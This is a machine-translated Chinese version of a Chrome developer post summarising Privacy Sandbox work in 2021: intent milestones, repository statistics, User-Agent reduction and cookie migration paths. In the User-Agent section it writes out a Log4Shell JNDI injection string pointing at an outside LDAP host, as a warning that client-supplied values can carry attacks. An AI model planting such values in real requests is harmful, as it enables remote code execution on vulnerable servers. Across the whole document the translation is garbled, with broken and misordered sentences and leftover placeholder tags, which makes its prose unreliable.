欢迎观看 2021 年《Progress in the Privacy》总结 沙盒,跟踪里程碑 Chrome 逐步淘汰第三方 Cookie 并努力实现更多 专用网络。通常,我们会概括介绍 Privacy Sandbox 时间轴以及来自 不过,12 月份不太平淡下面,我们将介绍 2021 年的活动,并提供一些可行的解决方案 新年已过。
Chromium 开发流程
一项新的网络平台功能需要经过 项目的开放式开发 过程。2021 年, Privacy Sandbox 团队制作了:
🥚 | 注重原型设计 | 19 |
🧪 | 实验意愿 | 7 个 |
🚀 | 发货意向 | 11 |
每个里程碑,也是对更广泛的 Web 生态系统的贡献。
“原型设计意图”是第一个检查点,在此阶段,我们会邀请用户 以及早期实验阶段。这意味着 GitHub 上将会显示相关提案, 在这里,您可以通过创建问题来提问或加入讨论 标准演示文稿 群组,例如 W3C 和 IETF。这也是编码的起点,也就是说,您预计 原型功能可在开发者测试时使用 功能 标志。 初步反馈对于验证和迭代提案至关重要。
如果想请求实验,“实验意图”为可选步骤。 源试用。开发者可以注册该源 试用功能,然后在生产环境中进行测试。 之所以称之为实验,是因为我们有 想要在实际环境中进行验证。开发者可以测试和 分享这些测试的结果,提供有价值的反馈,帮助我们反复改进并 改进功能。
发货意向是最后一个里程碑,表示相应功能现已 已完成,并已准备好发布正式版。获得批准后,此功能即会 这些版本先合并到了即将发布的版本中,然后再通过 Canary 版、Beta 版 和稳定渠道。一定要使用 Canary 版和 Beta 版 Chrome 在功能达到稳定版之前报告所有错误。
建议
每个 Privacy Sandbox 提案都有一个附带的 GitHub 代码库。答 代码库包含用于总结整体功能、详细的 浏览器实施规范,以及整个 以问题和拉取请求的形式来响应网络生态系统
在 14 个 Privacy Sandbox 代码库中,我们取得了以下成效:
💬 | 545 | 创建的问题 |
250 | 已解决的问题 | |
🛠️ | 261 | 已创建拉取请求 |
223 | 合并的拉取请求 |
解释器和规范中的用语通常面向受众群体 已熟悉标准和浏览器开发, 会非常困难不过,铺垫内容的目的是 解释一下!如果某些要点不清楚或未涵盖,我们希望您 提出问题,以便我们更新和阐明解释器。
解析
用户代理春季大扫除
当我们开始倒计时到新年时,我们也正在汇总到新年 Chrome 100 和增量缩减 用户代理字符串对应的字符串。这是一个很好 促使您重新检查代码中用户代理字符串的任何使用情况, 会受上述任一变化的影响
要查找这些区域,请按以下步骤操作:
- 在您的 JavaScript 代码中搜索
navigator.userAgent
,或访问User-Agent
标头。 - 检查对字符串的解析,看看是否对 2 位数版本做了假设。对于
例如,指定
\d\d
或\d{2}
的正则表达式应替换为\d+
。 - 检查是否在该字符串中使用了以下内容:
<ph type="x-smartling-placeholder">
- </ph>
- 平台(操作系统)版本
- 完整的 Chrome 版本号
- 移动设备名称
- 这些值在将来会缩减为固定字符串。如果 您需要访问这些值,请迁移到 User-Agent Client 提示。
还有一项 12 月更新需要提及 - 如果您采用 User-Agent Client
提示:我们已经发送了 Intent to Ship,以便将提示委托给其他
源于
HTML
通过 <meta>
标记实现。例如:
<meta name="accept-ch" content="sec-ch-ua-model=( https://foo.bar )">
如果您怀着热情大扫除春季的热情,还可以考虑 可以完全替代用户代理。如果您使用字符串 检测移动设备,然后调查能否将其替换为自适应设备 设计。如果您要检查浏览器名称和版本以获取功能支持,请参阅 如果您可以改用特征检测。
请始终记住,与您提供的任何客户端一样,用户代理
值不一定准确,甚至可能提供。最近的 Log4j
“Log4shell”
提供一个示例来说明这种风险。将用户代理字符串设置为
添加诸如 ${jndi:ldap://example.com/file}
这样的值
在服务器上主动解析该消息
Cookie 编目
另一项传统的新年活动是
用优质食材制作健康数量的饼干。随着我们不断迁移
在逐步弃用第三方 Cookie 的过程中,您应确保自己了解
网站的哪些 Cookie 会受到影响2020 年是开端,因为它
有必要将所有 Cookie 标记成跨网站或第三方的
使用
与SameSite=None
共享。
您将SameSite
属性设为None
的所有 Cookie 都需要
更新。
目前有三种可能的路线可供考虑:
- 如果 Cookie 只是与顶级网站 1 对 1 的关系而需要,
然后跟踪 CHIPS 的
提案。这意味着添加
Partitioned
属性添加到 Cookie。 - 该 Cookie 用于跨网站环境,但仅限于您
则有可能成为第一方
集。这就需要定义
并向 Cookie 添加
SameParty
属性。 - 如果使用 Cookie 在多个产品之间提供某种形式的共享值 调查更广泛的Privacy Sandbox 提案,以寻求替代解决方案,该解决方案 依赖跨网站跟踪
如果您感觉特别注重健康,那么这也是一个理想时机 因为我们有办法提高您的 第一方 Cookie
反馈
随着我们持续发布这些每月更新, 作为一个整体,我们希望确保开发者获得 获得所需的信息和支持请通过 @ChromiumDev 告知我们 Twitter) 我们会进行一些改进我们会根据您的意见和建议继续改进此格式。
请参阅 Privacy Sandbox 常见问题解答, 根据您向开发者支持团队提交的问题,进一步扩展 repo。如果您 对任何提案的测试或实施有疑问; 欢迎大家在那里与我们交流